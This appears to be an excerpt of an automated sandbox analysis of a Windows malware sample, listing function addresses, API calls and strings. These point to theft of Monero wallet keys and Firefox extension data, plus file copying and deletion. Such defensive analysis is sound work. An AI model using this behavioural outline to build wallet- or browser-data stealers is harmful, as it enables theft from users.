Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: f1ca2a821d77d8ce95701da9813a02cada1638ebeb1fadd11f7ba59ff0c45fbf
Instruction ID: 417561403bfe0f725fa7ff16b3ade4b312399ac2d67f89a7378e65eaddddcd42
Opcode Fuzzy Hash: f1ca2a821d77d8ce95701da9813a02cada1638ebeb1fadd11f7ba59ff0c45fbf
Instruction Fuzzy Hash: 5001D675600208FFCB44DFECC988EAE7BB9FB58355F148548F909AB214C671AA44EF91

Function 003212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003212B4
RtlAllocateHeap.NTDLL(00000000), ref: 003212BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003212F5
RegCloseKey.ADVAPI32(?), ref: 003212FF

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3b32dafefba1d0db441f808ca405ca0705d0c24d12179469fbe53b74680635c5
Instruction ID: 271877e85a65e0af3f6863de87ad6166cbdb95b5aeb399d29babc72aae77dada
Opcode Fuzzy Hash: 3b32dafefba1d0db441f808ca405ca0705d0c24d12179469fbe53b74680635c5
Instruction Fuzzy Hash: 910136B5A40208BBDB10DFD4DC49FAEB7B8EB58701F008155FA05A7280D6B0AA059F51

Function 0033C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0033C8EC
___crtLCMapStringA.LIBCMT ref: 0033C90C
___crtLCMapStringA.LIBCMT ref: 0033C931

Strings

, xrefs: 0033C896

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c8472546c2ae59eff46ab83f915cfddc1c114552bd039e380dc22b2503e704ed
Instruction ID: dd12a6c9c0d59194a9a879bc2eb290a08f0741483c86b1cadf69313fb584b6f2
Opcode Fuzzy Hash: c8472546c2ae59eff46ab83f915cfddc1c114552bd039e380dc22b2503e704ed
Instruction Fuzzy Hash: 1741F5B151079C5EDB228B248CD5FFBBBECAB45704F1454E8E9CA9A182D3719A44CF60

Function 00336630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00336663

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

ShellExecuteEx.SHELL32(0000003C), ref: 00336726
ExitProcess.KERNEL32 ref: 00336755

Strings

<, xrefs: 003366D9

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 54b3e875193296a488ef9c7d060ab4d951b052d801f3a440786a1806e6e17fd5
Instruction ID: 9149965f0688fcbdc4505a60c7e9ec5d4c044cbb2cb792289eed263a2c53eb08
Opcode Fuzzy Hash: 54b3e875193296a488ef9c7d060ab4d951b052d801f3a440786a1806e6e17fd5
Instruction Fuzzy Hash: 52312BB1801218AADB15EB94DCD2BDEB778AF14300F404189F20A7B191DFB46B49CF66

Function 003387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E28,00000000,?), ref: 0033882F
RtlAllocateHeap.NTDLL(00000000), ref: 00338836
wsprintfA.USER32 ref: 00338850

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

%dx%d, xrefs: 00338847

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: f0bb4925639fdb8e4c397b8cb5dc1d1fb41009f7f59f3343846c24a46aecd33b
Instruction ID: f963552c2b03e1fa9d6aaed800bed50b57362d6e82722700b644fce5bf82b9cd
Opcode Fuzzy Hash: f0bb4925639fdb8e4c397b8cb5dc1d1fb41009f7f59f3343846c24a46aecd33b
Instruction Fuzzy Hash: 2D210DB1A44208AFDB04DFD8DD49FAEBBB8FB48711F104119F605B7280C7B9A9059FA1

Function 00338D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0033951E,00000000), ref: 00338D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00338D62
wsprintfW.USER32 ref: 00338D78

Strings

%hs, xrefs: 00338D6F

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: c22e63b084d662960c6b73e057723ecb46adcb97024669b21f22b90614daac2f
Instruction ID: 4eb3200d18d1f1122674d559959610b96d944b21c20a5a956a6222ee065b5e5a
Opcode Fuzzy Hash: c22e63b084d662960c6b73e057723ecb46adcb97024669b21f22b90614daac2f
Instruction Fuzzy Hash: A6E0E675A50208BFD714DB98DD09E5977B8EB54702F004154FD0AA7240D9B16E149F56

Function 0032A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,0109A450,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,01099048,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0032A3FF
lstrlen.KERNEL32(00000000), ref: 0032A6BC

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

DeleteFileA.KERNEL32(00000000), ref: 0032A743

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a1f6dcdc3d68dd35472230b4d4b74c0ba81c016ba578cee1e7c96dc9b0a99ee2
Instruction ID: 199e237f8ae2b8e866f75abae4af091f9ac344f6a32f563304797550b0b3d14e
Opcode Fuzzy Hash: a1f6dcdc3d68dd35472230b4d4b74c0ba81c016ba578cee1e7c96dc9b0a99ee2
Instruction Fuzzy Hash: F2E10E72810508ABCB06FBA4DCD2EEE7738AF24300F508159F557BA091EF746A4DDB62

Function 0032D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,0109A450,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,01099048,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032D481
lstrlen.KERNEL32(00000000), ref: 0032D698
lstrlen.KERNEL32(00000000), ref: 0032D6AC
DeleteFileA.KERNEL32(00000000), ref: 0032D72B

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 65771bdc68a9187a9caf85218a5d06b86623833c1d18410fd7d65b7bdd2cebab
Instruction ID: f210b454b82064497510ed28b199a431e762f0733be16bba8ea34e94751724f1
Opcode Fuzzy Hash: 65771bdc68a9187a9caf85218a5d06b86623833c1d18410fd7d65b7bdd2cebab
Instruction Fuzzy Hash: 8D910E72910508ABCB06FBA4DCD6EEE7738AF14300F504168F547BE091EF746A49DB62

Function 0032D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,0109A450,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,01099048,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032D801
lstrlen.KERNEL32(00000000), ref: 0032D99F
lstrlen.KERNEL32(00000000), ref: 0032D9B3
DeleteFileA.KERNEL32(00000000), ref: 0032DA32

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 490a6fb5d1d45df01944b2a0ba60d43bcd84006fada8657b0666d610b3e3c613
Instruction ID: 0ee7f110fc1197604ed7b130c87ef1c6a63b1c5fd32fa6fecbaeef13641a8dfe
Opcode Fuzzy Hash: 490a6fb5d1d45df01944b2a0ba60d43bcd84006fada8657b0666d610b3e3c613
Instruction Fuzzy Hash: E0810D72910508ABCB06FBA4DCD6EEE7738AF14300F504128F547BE091EF746A49DBA2

Function 0032F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00341580,00340D92), ref: 0032F54C
lstrlen.KERNEL32(00000000), ref: 0032F56B

Strings

moz-extension+++, xrefs: 0032F5AD
^userContextId=4294967295, xrefs: 0032F59C

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0b3e4ebcccaa6cf2c8a17bd46dc13f1a227ad49d5c144666d8e60586ceee980e
Instruction ID: 383a80869a6bdeaf0905d6f5a80b437f75612f318d2bd86adb0fc163e2b70593
Opcode Fuzzy Hash: 0b3e4ebcccaa6cf2c8a17bd46dc13f1a227ad49d5c144666d8e60586ceee980e
Instruction Fuzzy Hash: EC510171D10608AADB06FBB4DCD6DED7778AF54300F408528F8566F191EF346A09DBA2

Function 003370D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s3, xrefs: 003372AE, 00337179, 0033717C
s3, xrefs: 00337111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0033718C

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
